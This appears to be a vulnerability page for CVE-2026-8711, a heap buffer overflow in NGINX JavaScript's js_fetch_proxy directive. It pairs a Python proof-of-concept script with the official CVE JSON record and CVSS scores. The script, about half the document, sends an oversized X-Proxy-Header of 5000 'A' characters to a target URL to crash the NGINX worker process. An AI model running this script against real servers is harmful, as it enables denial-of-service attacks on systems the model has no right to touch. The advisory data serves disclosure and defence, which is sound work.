CVE-2026-8711

/* * Conceptual Proof of Concept (PoC) for CVE-2026-8711 * This script demonstrates how to send a malicious request to trigger the * heap buffer overflow in NGINX JavaScript when js_fetch_proxy uses * client-controlled variables. */ import requests def send_exploit(target_url): # Assumption: The server config uses js_fetch_proxy with $http_x_proxy_header # e.g., js_fetch_proxy "http://backend$http_x_proxy_header"; # Constructing a payload designed to trigger the buffer overflow. # The length and content may vary based on the specific memory layout. payload = "A" * 5000 headers = { "User-Agent": "CVE-2026-8711-Exploit", "X-Proxy-Header": payload # Malicious client-controlled variable } try: print(f"Sending exploit request to {target_url}...") response = requests.get(target_url, headers=headers, timeout=5) print(f"Request completed with status: {response.status_code}") # If successful, the worker process may crash, causing a 502 or connection reset except requests.exceptions.RequestException as e: print(f"Connection error (potential crash): {e}") if __name__ == "__main__": target = "http://example.com/vulnerable_endpoint" send_exploit(target)

{"cve": {"id": "CVE-2026-8711", "sourceIdentifier": "[email protected]", "published": "2026-05-19T15:16:33.017", "lastModified": "2026-05-19T15:16:33.017", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "NGINX JavaScript has a vulnerability when the js_fetch_proxy directive is configured with at least one client-controlled NGINX variable (for example, $http_*, $arg_*, $cookie_*) and a location invoking the ngx.fetch() operation from NGINX JavaScript. An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, for systems with Address Space Layout Randomization (ASLR) disabled, code execution is possible. \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000161307", "source": "[email protected]"}]}}